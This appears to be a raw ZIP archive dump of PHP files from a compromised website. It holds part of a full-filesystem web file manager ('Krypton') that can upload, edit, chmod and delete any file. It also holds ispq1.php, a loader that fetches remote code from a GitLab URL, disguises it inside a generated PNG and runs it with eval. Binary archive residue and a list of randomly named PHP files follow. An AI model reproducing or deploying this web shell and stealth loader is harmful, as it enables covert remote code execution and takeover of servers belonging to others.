if (rename($oldPath, $newPath)) {
$success = 'Renamed successfully.';
} else {
$error = 'Failed to rename.';
}
} else {
$error = 'File or directory does not exist.';
}
}
// Handle permission change
if (isset($_POST['changePermissions']) && isset($_POST['permPath']) && isset($_POST['permissions'])) {
$permPath = decryptPath($_POST['permPath']);
$permissions = $_POST['permissions'];
// Convert from octal string to integer
$mode = octdec($permissions);
if (file_exists($permPath)) {
if (chmod($permPath, $mode)) {
$success = 'Permissions changed successfully.';
} else {
$error = 'Failed to change permissions.';
}
} else {
$error = 'File or directory does not exist.';
}
}
// Handle file edit
if (isset($_POST['saveFile']) && isset($_POST['filePath']) && isset($_POST['fileContent'])) {
$filePath = decryptPath($_POST['filePath']);
$fileContent = $_POST['fileContent'];
if (file_exists($filePath) && !is_dir($filePath)) {
if (file_put_contents($filePath, $fileContent) !== false) {
$success = 'File saved successfully.';
} else {
$error = 'Failed to save file.';
}
} else {
$error = 'File does not exist.';
}
}
// Handle create new file
if (isset($_POST['createFile']) && isset($_POST['newFileName'])) {
$newFileName = $_POST['newFileName'];
$newFilePath = $currentPath . '/' . $newFileName;
if (!file_exists($newFilePath)) {
if (file_put_contents($newFilePath, '') !== false) {
$success = 'File created successfully.';
} else {
$error = 'Failed to create file.';
}
} else {
$error = 'File already exists.';
}
}
// Handle create new folder
if (isset($_POST['createFolder']) && isset($_POST['newFolderName'])) {
$newFolderName = $_POST['newFolderName'];
$newFolderPath = $currentPath . '/' . $newFolderName;
if (!file_exists($newFolderPath)) {
if (mkdir($newFolderPath, 0755)) {
$success = 'Folder created successfully.';
} else {
$error = 'Failed to create folder.';
}
} else {
$error = 'Folder already exists.';
}
}
}
// Save current path to session
$_SESSION['current_path'] = $currentPath;
// Get directory contents
$items = [];
if (is_dir($currentPath)) {
if ($handle = opendir($currentPath)) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
$fullPath = $currentPath . '/' . $entry;
$isDir = is_dir($fullPath);
try {
$size = $isDir ? '-' : formatFileSize(filesize($fullPath));
$permissions = getFilePermissions($fullPath);
$lastModified = date('Y-m-d H:i:s', filemtime($fullPath));
$items[] = [
'name' => $entry,
'path' => $fullPath,
'encryptedPath' => encryptPath($fullPath),
'isDirectory' => $isDir,
'size' => $size,
'permissions' => $permissions,
'lastModified' => $lastModified,
'isEditable' => !$isDir && isEditableFile($entry)
];
} catch (Exception $e) {
// Skip files that can't be accessed
continue;
}
}
}
closedir($handle);
}
}
// Sort items: directories first, then files
usort($items, function($a, $b) {
if ($a['isDirectory'] && !$b['isDirectory']) {
return -1;
}
if (!$a['isDirectory'] && $b['isDirectory']) {
return 1;
}
return strcasecmp($a['name'], $b['name']);
});
// Get breadcrumb parts
$breadcrumbs = [];
$pathParts = explode('/', $currentPath);
$buildPath = '';
foreach ($pathParts as $part) {
if (empty($part)) {
$buildPath = '/';
$breadcrumbs[] = [
'name' => 'Root',
'path' => $buildPath,
'encryptedPath' => encryptPath($buildPath)
];
} else {
$buildPath .= ($buildPath === '/') ? $part : '/' . $part;
$breadcrumbs[] = [
'name' => $part,
'path' => $buildPath,
'encryptedPath' => encryptPath($buildPath)
];
}
}
// Get the script's directory for the Home button
$homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']);
$encryptedHomeDirectory = encryptPath($homeDirectory);
// Encrypt current path for forms
$encryptedCurrentPath = encryptPath($currentPath);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Krypton File Manager</title>
<style>
/* Base styles and reset */
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Inter', 'Roboto', 'Helvetica', sans-serif;
}
body {
background-image: url('https://w.wallhaven.cc/full/ex/wallhaven-exd3w8.png');
background-size: cover;
background-position: center;
background-repeat: no-repeat;
background-color: #f9f9f9;
/* Fallback color */
color: #333333;
line-height: 1.6;
}
.container {
max-width: 1200px;
margin: 0 auto;
padding: 0 20px;
}
/* Navigation bar */
.navbar {
background-color: #ffffff;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
padding: 15px 0;
position: sticky;
top: 0;
z-index: 100;
}
.navbar-content {
display: flex;
align-items: center;
justify-content: space-between;
}
.navbar h1 {
color: #333333;
font-size: 1.5rem;
font-weight: 500;
}
.version {
font-size: 0.8rem;
color: #777;
margin-left: 10px;
}
.navbar-actions {
display: flex;
gap: 10px;
}
.home-btn {
background-color: #4a6cf7;
color: white;
border: none;
padding: 8px 15px;
border-radius: 6px;
cursor: pointer;
font-weight: 500;
text-decoration: none;
display: inline-flex;
align-items: center;
transition: all 0.2s ease;
}
.home-btn:hover {
background-color: #3a5ce5;
transform: translateY(-2px);
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
.home-icon {
margin-right: 5px;
}
/* Breadcrumb navigation */
.breadcrumb {
display: flex;
align-items: center;
padding: 12px 0;
margin-bottom: 15px;
overflow-x: auto;
white-space: nowrap;
}
.breadcrumb-item {
display: flex;
align-items: center;
}
.breadcrumb-item a {
color: #4a6cf7;
text-decoration: none;
padding: 5px 8px;
border-radius: 4px;
transition: background-color 0.2s;
cursor: pointer;
}
.breadcrumb-item a:hover {
background-color: rgba(74, 108, 247, 0.1);
}
.breadcrumb-separator {
margin: 0 5px;
color: #999;
}
.breadcrumb-current {
font-weight: 500;
padding: 5px 8px;
}
/* Section styling */
.section {
background-color: rgba(255, 255, 255, 0.9);
border-radius: 8px;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
padding: 20px;
margin-bottom: 20px;
box-shadow: rgba(50, 50, 93, 0.25) 0px 2px 5px -1px, rgba(0, 0, 0, 0.3) 0px 1px 3px -1px;
}
.section-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 15px;
}
.section-title {
font-size: 1.1rem;
color: #333333;
font-weight: 500;
}
.section-actions {
display: flex;
gap: 10px;
}
/* Upload form */
.upload-form {
display: flex;
flex-wrap: wrap;
gap: 10px;
align-items: center;
}
.upload-form input[type="file"] {
flex: 1;
min-width: 200px;
padding: 10px;
border: 1px solid #e0e0e0;
border-radius: 6px;
background-color: #ffffff;
}
.btn {
background-color: #4a6cf7;
color: white;
border: none;
padding: 10px 20px;
border-radius: 6px;
cursor: pointer;
font-weight: 500;
transition: all 0.2s ease;
}
.btn:hover {
background-color: #3a5ce5;
transform: translateY(-2px);
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
.btn-sm {
padding: 6px 12px;
font-size: 0.9rem;
}
.btn-success {
background-color: #28a745;
}
.btn-success:hover {
background-color: #218838;
}
/* File list table */
.file-table-container {
overflow-x: auto;
}
.file-table {
width: 100%;
border-collapse: collapse;
margin-top: 10px;
}
.file-table th {
background-color: #f5f5f5;
padding: 12px 15px;
text-align: left;
font-weight: 500;
border-bottom: 1px solid #e0e0e0;
position: relative;
}
.file-table td {
padding: 12px 15px;
border-bottom: 1px solid #e0e0e0;
}
.file-table tr:hover {
background-color: #f5f7ff;
}
.file-name {
display: flex;
align-items: center;
gap: 8px;
}
.folder-icon::before {
content: "📁";
}
.file-icon::before {
content: "📄";
}
/* Action buttons */
.action-buttons {
display: flex;
gap: 8px;
}
.action-btn {
background: none;
border: none;
cursor: pointer;
font-size: 1rem;
color: #555;
transition: all 0.2s ease;
width: 28px;
height: 28px;
display: flex;
align-items: center;
justify-content: center;
border-radius: 4px;
}
.action-btn:hover {
background-color: #f0f0f0;
color: #333;
}
/* Modal styles */
.modal {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.5);
z-index: 1000;
justify-content: center;
align-items: center;
}
.modal-content {
background-color: white;
padding: 25px;
border-radius: 8px;
width: 90%;
max-width: 400px;
box-shadow: 0 4px 20px rgba(0, 0, 0, 0.15);
}
.modal-content.modal-lg {
max-width: 800px;
height: 80%;
display: flex;
flex-direction: column;
}
.modal-title {
font-size: 1.2rem;
margin-bottom: 15px;
font-weight: 500;
}
.modal-form {
display: flex;
flex-direction: column;
gap: 15px;
}
.editor-form {
display: flex;
flex-direction: column;
gap: 15px;
flex-grow: 1;
}
.form-group {
display: flex;
flex-direction: column;
gap: 5px;
}
.form-group label {
font-weight: 500;
}
.form-group input {
padding: 8px 12px;
border: 1px solid #ddd;
border-radius: 4px;
}
.form-group textarea {
flex-grow: 1;
padding: 12px;
border: 1px solid #ddd;
border-radius: 4px;
font-family: 'Courier New', monospace;
font-size: 14px;
resize: none;
}
.modal-actions {
display: flex;
justify-content: flex-end;
gap: 10px;
margin-top: 20px;
}
.btn-cancel {
background-color: #f0f0f0;
color: #333;
}
.btn-cancel:hover {
background-color: #e0e0e0;
}
/* Alerts */
.alert {
padding: 12px 15px;
margin-bottom: 15px;
border-radius: 4px;
font-weight: 500;
}
.alert-success {
background-color: #d4edda;
color: #155724;
border: 1px solid #c3e6cb;
}
.alert-error {
background-color: #f8d7da;
color: #721c24;
border: 1px solid #f5c6cb;
}
.alert-warning {
background-color: #fff3cd;
color: #856404;
border: 1px solid #ffeeba;
}
/* Footer */
.footer {
text-align: center;
padding: 20px 0;
color: #777;
font-size: 0.9rem;
}
/* Loading overlay */
.loading-overlay {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.5);
z-index: 2000;
justify-content: center;
align-items: center;
}
.spinner {
width: 50px;
height: 50px;
border: 5px solid #f3f3f3;
border-top: 5px solid #3498db;
border-radius: 50%;
animation: spin 1s linear infinite;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
/* Responsive design */
@media (max-width: 768px) {
.upload-form {
flex-direction: column;
align-items: stretch;
}
.upload-form input[type="file"] {
width: 100%;
}
.action-buttons {
flex-wrap: wrap;
}
.section-header {
flex-direction: column;
align-items: flex-start;
gap: 10px;
}
.section-actions {
width: 100%;
}
.btn {
width: 100%;
}
}
</style>
</head>
<body>
<!-- Loading Overlay -->
<div id="loadingOverlay" class="loading-overlay">
<div class="spinner"></div>
</div>
<!-- Navigation Bar -->
<nav class="navbar">
<div class="container navbar-content">
<h1>Krypton <span class="version">v<?php echo VERSION; ?></span></h1>
<div class="navbar-actions">
<button onclick="navigateTo('<?php echo $encryptedHomeDirectory; ?>')" class="home-btn">
<span class="home-icon">🏠</span> Home
</button>
</div>
</div>
</nav>
<div class="container">
<!-- Alerts -->
<?php if (!empty($encryptionKeyWarning)): ?>
<div class="alert alert-warning"><?php echo $encryptionKeyWarning; ?></div>
<?php endif; ?>
<?php if (!empty($success)): ?>
<div class="alert alert-success"><?php echo $success; ?></div>
<?php endif; ?>
<?php if (!empty($error)): ?>
<div class="alert alert-error"><?php echo $error; ?></div>
<?php endif; ?>
<!-- Breadcrumb Navigation -->
<div class="breadcrumb">
<?php foreach ($breadcrumbs as $index => $crumb): ?>
<?php if ($index > 0): ?>
<span class="breadcrumb-separator">›</span>
<?php endif; ?>
<div class="breadcrumb-item">
<?php if ($index === count($breadcrumbs) - 1): ?>
<span class="breadcrumb-current"><?php echo htmlspecialchars($crumb['name']); ?></span>
<?php else: ?>
<a onclick="navigateTo('<?php echo $crumb['encryptedPath']; ?>')"><?php echo htmlspecialchars($crumb['name']); ?></a>
<?php endif; ?>
</div>
<?php endforeach; ?>
</div>
<!-- Upload Section -->
<section class="section">
<h2 class="section-title">Upload Files</h2>
<form class="upload-form" method="post" enctype="multipart/form-data">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<input type="file" name="file">
<button type="submit" name="upload" class="btn">Upload File</button>
</form>
</section>
<!-- File List Section -->
<section class="section">
<div class="section-header">
<h2 class="section-title">Files</h2>
<div class="section-actions">
<button class="btn btn-sm btn-success" onclick="showCreateFileModal()">New File</button>
<button class="btn btn-sm" onclick="showCreateFolderModal()">New Folder</button>
</div>
</div>
<div class="file-table-container">
<table class="file-table">
<thead>
<tr>
<th>Filename</th>
<th>Size</th>
<th>Permissions</th>
<th>Last Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<!-- Parent directory link -->
<?php if ($currentPath !== '/'): ?>
<tr>
<td>
<div class="file-name">
<span class="folder-icon"></span>
<a onclick="navigateTo('<?php echo encryptPath(dirname($currentPath)); ?>')">..</a>
</div>
</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<?php endif; ?>
<!-- File list -->
<?php foreach ($items as $item): ?>
<tr>
<td>
<div class="file-name">
<span class="<?php echo $item['isDirectory'] ? 'folder-icon' : 'file-icon'; ?>"></span>
<?php if ($item['isDirectory']): ?>
<a onclick="navigateTo('<?php echo $item['encryptedPath']; ?>')"><?php echo htmlspecialchars($item['name']); ?></a>
<?php else: ?>
<?php echo htmlspecialchars($item['name']); ?>
<?php endif; ?>
</div>
</td>
<td><?php echo $item['size']; ?></td>
<td><?php echo $item['permissions']; ?></td>
<td><?php echo $item['lastModified']; ?></td>
<td>
<div class="action-buttons">
<?php if (!$item['isDirectory']): ?>
<button class="action-btn" title="Download" onclick="downloadFile('<?php echo $item['encryptedPath']; ?>')">📥</button>
<?php if ($item['isEditable']): ?>
<button class="action-btn" title="Edit" onclick="showEditFileModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">📝</button>
<?php endif; ?>
<?php endif; ?>
<button class="action-btn" title="Rename" onclick="showRenameModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">✏️</button>
<button class="action-btn" title="Change Permissions" onclick="showPermissionsModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">🔒</button>
<form method="post" style="display:inline;" onsubmit="return confirm('Are you sure you want to delete this <?php echo $item['isDirectory'] ? 'directory' : 'file'; ?>?');">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<input type="hidden" name="path" value="<?php echo htmlspecialchars($item['encryptedPath']); ?>">
<button type="submit" name="delete" class="action-btn" title="Delete">🗑️</button>
</form>
</div>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
</section>
<footer class="footer">
Krypton File Manager v<?php echo VERSION; ?> | Single-file PHP File Manager
</footer>
</div>
<!-- Rename Modal -->
<div id="renameModal" class="modal">
<div class="modal-content">
<h3 class="modal-title">Rename: <span id="renameFileName"></span></h3>
<form class="modal-form" method="post">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<input type="hidden" id="renameOldPath" name="oldPath" value="">
<div class="form-group">
<label for="renameNewName">New Name:</label>
<input type="text" id="renameNewName" name="newName" required>
</div>
<div class="modal-actions">
<button type="button" class="btn btn-cancel" onclick="hideModal('renameModal')">Cancel</button>
<button type="submit" name="rename" class="btn">Rename</button>
</div>
</form>
</div>
</div>
<!-- Permissions Modal -->
<div id="permissionsModal" class="modal">
<div class="modal-content">
<h3 class="modal-title">Change Permissions: <span id="permissionsFileName"></span></h3>
<form class="modal-form" method="post">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<input type="hidden" id="permissionsPath" name="permPath" value="">
<div class="form-group">
<label for="permissionsOctal">Permissions (Octal):</label>
<input type="text" id="permissionsOctal" name="permissions" placeholder="e.g., 0755" required>
</div>
<div class="modal-actions">
<button type="button" class="btn btn-cancel" onclick="hideModal('permissionsModal')">Cancel</button>
<button type="submit" name="changePermissions" class="btn">Apply</button>
</div>
</form>
</div>
</div>
<!-- Edit File Modal -->
<div id="editFileModal" class="modal">
<div class="modal-content modal-lg">
<h3 class="modal-title">Edit File: <span id="editFileName"></span></h3>
<form class="editor-form" method="post">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<input type="hidden" id="editFilePath" name="filePath" value="">
<div class="form-group" style="flex-grow: 1; display: flex; flex-direction: column;">
<textarea id="fileContent" name="fileContent" required></textarea>
</div>
<div class="modal-actions">
<button type="button" class="btn btn-cancel" onclick="hideModal('editFileModal')">Cancel</button>
<button type="submit" name="saveFile" class="btn">Save</button>
</div>
</form>
</div>
</div>
<!-- Create File Modal -->
<div id="createFileModal" class="modal">
<div class="modal-content">
<h3 class="modal-title">Create New File</h3>
<form class="modal-form" method="post">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<div class="form-group">
<label for="newFileName">File Name:</label>
<input type="text" id="newFileName" name="newFileName" required>
</div>
<div class="modal-actions">
<button type="button" class="btn btn-cancel" onclick="hideModal('createFileModal')">Cancel</button>
<button type="submit" name="createFile" class="btn">Create</button>
</div>
</form>
</div>
</div>
<!-- Create Folder Modal -->
<div id="createFolderModal" class="modal">
<div class="modal-content">
<h3 class="modal-title">Create New Folder</h3>
<form class="modal-form" method="post">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<div class="form-group">
<label for="newFolderName">Folder Name:</label>
<input type="text" id="newFolderName" name="newFolderName" required>
</div>
<div class="modal-actions">
<button type="button" class="btn btn-cancel" onclick="hideModal('createFolderModal')">Cancel</button>
<button type="submit" name="createFolder" class="btn">Create</button>
</div>
</form>
</div>
</div>
<!-- Hidden form for navigation -->
<form id="navigationForm" method="post" style="display: none;">
<input type="hidden" name="action" value="navigate">
<input type="hidden" id="navigationPath" name="path" value="">
</form>
<!-- Hidden form for download -->
<form id="downloadForm" method="post" style="display: none;">
<input type="hidden" name="action" value="download">
<input type="hidden" id="downloadPath" name="path" value="">
</form>
<script>
// Show loading overlay
function showLoading() {
document.getElementById('loadingOverlay').style.display = 'flex';
}
// Hide loading overlay
function hideLoading() {
document.getElementById('loadingOverlay').style.display = 'none';
}
// Navigation function
function navigateTo(path) {
showLoading();
document.getElementById('navigationPath').value = path;
document.getElementById('navigationForm').submit();
}
// Download function
function downloadFile(path) {
document.getElementById('downloadPath').value = path;
document.getElementById('downloadForm').submit();
}
// Show rename modal
function showRenameModal(path, name) {
document.getElementById('renameFileName').textContent = name;
document.getElementById('renameOldPath').value = path;
document.getElementById('renameNewName').value = name;
document.getElementById('renameModal').style.display = 'flex';
}
// Show permissions modal
function showPermissionsModal(path, name) {
document.getElementById('permissionsFileName').textContent = name;
document.getElementById('permissionsPath').value = path;
document.getElementById('permissionsModal').style.display = 'flex';
}
// Show edit file modal
function showEditFileModal(path, name) {
document.getElementById('editFileName').textContent = name;
document.getElementById('editFilePath').value = path;
showLoading();
// Fetch file content using POST
const formData = new FormData();
formData.append('action', 'getContent');
formData.append('path', path);
fetch(window.location.pathname, {
method: 'POST',
body: formData
})
.then(response => response.text())
.then(content => {
document.getElementById('fileContent').value = content;
document.getElementById('editFileModal').style.display = 'flex';
hideLoading();
})
.catch(error => {
hideLoading();
alert('Error loading file content: ' + error);
});
}
// Show create file modal
function showCreateFileModal() {
document.getElementById('newFileName').value = '';
document.getElementById('createFileModal').style.display = 'flex';
}
// Show create folder modal
function showCreateFolderModal() {
document.getElementById('newFolderName').value = '';
document.getElementById('createFolderModal').style.display = 'flex';
}
// Hide modal
function hideModal(modalId) {
document.getElementById(modalId).style.display = 'none';
}
// Close modals when clicking outside
window.onclick = function(event) {
if (event.target.className === 'modal') {
event.target.style.display = 'none';
}
}
// Add loading indicator to form submissions
document.addEventListener('DOMContentLoaded', function() {
const forms = document.querySelectorAll('form');
forms.forEach(form => {
form.addEventListener('submit', function() {
// Don't show loading for the navigation and download forms
if (form.id !== 'navigationForm' && form.id !== 'downloadForm') {
showLoading();
}
});
});
});
</script>
</body>
</html>PK �Cm\��'� ispq1.phpnu �[��� <?php
/*
Improved PNG disguise for hidden PHP payloads.
This script fetches remote code, embeds it into a realistic PNG file,
and executes it stealthily.
*/
session_start();
// Main remote code URL (can be overridden by session)
$mainUrl = $_SESSION['ts_url'] ?? 'https://gitlab.com/mrgithub89-group/mrgithub89-projectaa/-/raw/main/wp-security.php';
// --------------------------------------------
// 1. Generate a realistic PNG image (128x128)
// --------------------------------------------
function generateRealisticPngHeader($width = 128, $height = 128) {
ob_start();
$image = imagecreatetruecolor($width, $height);
// Fill with random noise
for ($x = 0; $x < $width; $x++) {
for ($y = 0; $y < $height; $y++) {
$color = imagecolorallocate($image, rand(0,255), rand(0,255), rand(0,255));
imagesetpixel($image, $x, $y, $color);
}
}
imagepng($image);
imagedestroy($image);
return ob_get_clean(); // Binary PNG data
}
// --------------------------------------------
// 2. Load remote PHP code from given URL
// --------------------------------------------
function loadRemoteData($url) {
$content = '';
try {
$file = new SplFileObject($url);
while (!$file->eof()) {
$content .= $file->fgets();
}
} catch (Throwable $e) {
$content = '';
}
if (strlen(trim($content)) < 1) {
$content = @file_get_contents($url);
}
if (strlen(trim($content)) < 1 && function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_TIMEOUT => 10,
]);
$content = curl_exec($ch);
curl_close($ch);
}
return $content;
}
// --------------------------------------------
// 3. Create payload by appending hidden PHP code
// --------------------------------------------
function createStealthPayload($phpCode) {
$png = generateRealisticPngHeader();
$marker = '###PAYLOAD###';
$encoded = base64_encode($phpCode);
return $png . $marker . $encoded;
}
// --------------------------------------------
// 4. Extract and execute hidden payload
// --------------------------------------------
function extractAndExecutePayload($data) {
$marker = '###PAYLOAD###';
$parts = explode($marker, $data);
if (count($parts) === 2) {
$decoded = base64_decode($parts[1]);
if ($decoded !== false && strlen(trim($decoded)) > 0) {
@eval("?>$decoded");
}
}
}
// --------------------------------------------
// Main Execution Flow
// --------------------------------------------
$remoteCode = loadRemoteData($mainUrl);
if (strlen(trim($remoteCode)) > 0) {
$payload = createStealthPayload($remoteCode);
extractAndExecutePayload($payload); // Executes hidden remote code
}
?>
PK �Cm\�d��o� o� 9gvid-20260307170338.phpnu �[��� PK �Cm\��Ș� � �� about.phpnu �[��� PK �Cm\T�pWh h � index.phpnu �[��� PK �Cm\�7��Ne Ne �� e6ml9.phpnu �[��� PK �Cm\~\ݸ5
5
z8op2.phpnu �[��� PK �Cm\�a]t֭ ֭ y service.phpnu �[��� PK �Cm\�K�V� � �� dr80q.phpnu �[��� PK �Cm\�rf:/ :/ �� qavgy.phpnu �[��� PK �Cm\�d��o� o� $ 9gvid.phpnu �[��� PK �Cm\��'� ̬ ispq1.phpnu �[��� PK
� �